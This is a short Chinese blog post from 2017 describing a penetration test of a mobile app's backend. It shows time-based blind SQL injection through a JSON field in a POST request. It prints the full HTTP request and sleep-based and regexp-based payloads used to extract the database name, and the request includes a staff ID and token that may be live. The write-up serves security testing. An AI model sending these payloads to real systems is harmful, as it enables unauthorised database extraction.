某APP渗透测试-sql时间盲注

前几天在测试某个APP,用工具简单扫描后,提示存在sql注入,而且是时间盲注,简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。

存在注入的链接

使用的是post提交参数,这个是扫描器给出的测试语句

POST /app/systemmsg/QRY_SYSTEM_MSG.action HTTP/1.1
Content-Length: 219
Accept: */*
User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; NX529J Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Crosswalk/15.44.384.13 Mobile Safari/537.36x5app/3.2.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-cn
Connection: close

loginStaffId=214350&token=78ecb4abf699b1a085cd313f5c83c81a&service_v=3.0&appVersion=3.2.16&params=%7b%22recive_staff_id%22%3a214350%2c%22log_type%22%3a%2203%2c04%2c05'%2b(select*from(select(sleep(20)))a)%2b'%22%2c%22pageSize%22%3a10000%2c%22pageStart%22%3a0%7d
猜测可能没有过滤加号
删掉了一些敏感信息,探测的语句如上,
解码后关键的注入地方为log_type":"03,04,05'+(select*from(select(sleep(20)))a)+'
一开始测试的时候,在log_type输入任意的注入语句都会sleep成功,以为是误报,后来用了regexp '^xx'来匹配数据库的内容,匹配成功再sleep,最后的payload如下
payload:loginStaffId=214350&token=78ecb4abf699b1a085cd313f5c83c81a&service_v=3.0&appVersion=3.2.16&params={"recive_staff_id":214350,"log_type":"03,04,05'+(select*from(select((select database()) regexp '^w' and sleep(5)a)+'","pageSize":10000,"pageStart":0}
sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。这次测试的页面匹配数据库中以w开头的数据库,sleep(5)的时间延长到10,猜测可能存在两个以w打头的数据库,触发两次sleep()延迟10秒
写了一个简单的py脚本,比较菜,写得不好

最后爆出来的数据库名为wxxxdb,到开发人员那边去核对,的确是这个数据库名,哈哈

同样存在注入的还有一个链接

payload和刚刚的一样,但是这个链接的sleep时间为原本的4倍。

 
posted @ 2017-08-16 09:39  nick11  阅读(794)  评论(0编辑  收藏  举报